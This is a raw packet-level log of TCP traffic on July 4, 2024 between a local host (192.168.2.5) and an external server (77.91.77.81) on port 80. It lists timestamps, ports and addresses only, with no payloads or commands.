Jul 4, 2024 22:20:38.404247046 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404266119 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404289961 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404309034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404346943 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404365063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404397964 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404419899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404432058 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404442072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404457092 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404469013 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404501915 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404522896 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404568911 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404593945 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404604912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404630899 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404644012 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404675007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404685020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404694080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404704094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404714108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404714108 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404737949 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404751062 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404947042 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404957056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404968023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.404985905 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.404999018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.405014038 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444427013 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444477081 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444590092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444602966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444618940 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444653988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444653988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444653988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444679022 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444688082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444721937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444758892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444797039 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444823980 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444834948 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444844961 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444861889 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444875002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444894075 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.444974899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444989920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.444999933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445010900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445015907 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445025921 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445049047 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445132017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445142031 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445172071 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445245981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445259094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445285082 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445311069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445311069 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445322037 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445332050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445347071 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445358038 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445377111 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.445502043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445513010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.445547104 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.462476015 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462523937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.462642908 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462655067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462666035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462677956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462687016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462697983 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462732077 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.462732077 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.462732077 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.462924004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462966919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.462970018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.462979078 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463006973 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463020086 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463088036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463102102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463112116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463121891 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463131905 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463133097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463155985 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463166952 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463336945 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463347912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463386059 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463418961 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463429928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463439941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463449955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463463068 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463474989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463502884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463571072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463582039 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463591099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463603020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463613987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463614941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463628054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463638067 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463639975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463651896 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463679075 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463783026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463825941 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463860035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463871002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463881016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.463903904 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.463917017 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464016914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464027882 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464036942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464049101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464061975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464061975 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464076042 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464099884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464281082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464293003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464302063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464313984 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464323044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464333057 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464346886 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464365959 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464440107 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464451075 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464467049 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464477062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464478970 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464493036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464500904 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464504004 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464517117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464525938 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464528084 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464539051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464549065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464551926 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464564085 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464590073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.464602947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.464647055 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.465059042 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465070009 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465080976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465091944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465101957 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465107918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.465114117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465125084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465131998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.465137005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465148926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465151072 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.465162992 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.465192080 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.465215921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.465259075 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494000912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494012117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494021893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494101048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494111061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494122982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494133949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494158983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494158983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494158983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494158983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494158983 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494184971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494230986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494241953 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494280100 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494371891 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494383097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494395018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494415998 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494431973 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494436979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494448900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494481087 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494497061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494509935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494534969 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494565010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494637966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494652987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494663954 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494674921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494679928 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494694948 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494719982 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494791985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494802952 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494812012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494821072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494831085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.494839907 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.494865894 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.495021105 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.495032072 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.495065928 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.495084047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.495095015 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.495129108 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.534985065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.534996033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535001993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535062075 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535074949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535089016 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535106897 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535120010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535120964 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535142899 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535171032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535259008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535269976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535279036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535288095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535301924 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535311937 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535341024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535408020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535418034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535428047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535448074 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535475969 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535490990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535501957 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535511971 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535536051 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535558939 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535588026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535598993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535634995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535696983 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535708904 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535718918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.535743952 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.535756111 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552632093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552680016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552686930 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552691936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552813053 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552823067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552833080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552844048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552855015 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552856922 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552856922 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552877903 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552877903 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552884102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552908897 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552938938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.552941084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552953005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.552983046 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553009033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553019047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553028107 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553040028 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553056002 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553071022 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553097010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553181887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553200960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553229094 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553241968 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553261995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553272963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553282022 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553304911 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553322077 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553349018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553359985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553369045 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553395033 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553419113 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553445101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553492069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553556919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553567886 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553579092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553591013 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553596973 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553601027 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553607941 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553630114 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553656101 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553719044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553762913 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553828001 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553839922 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553848982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553860903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553872108 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553877115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553881884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553894997 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553903103 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553908110 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.553920031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553936958 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.553963900 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.554147005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554157019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554162979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554172993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.554203033 CEST	49711	80	192.168.2.5	77.91.77.81
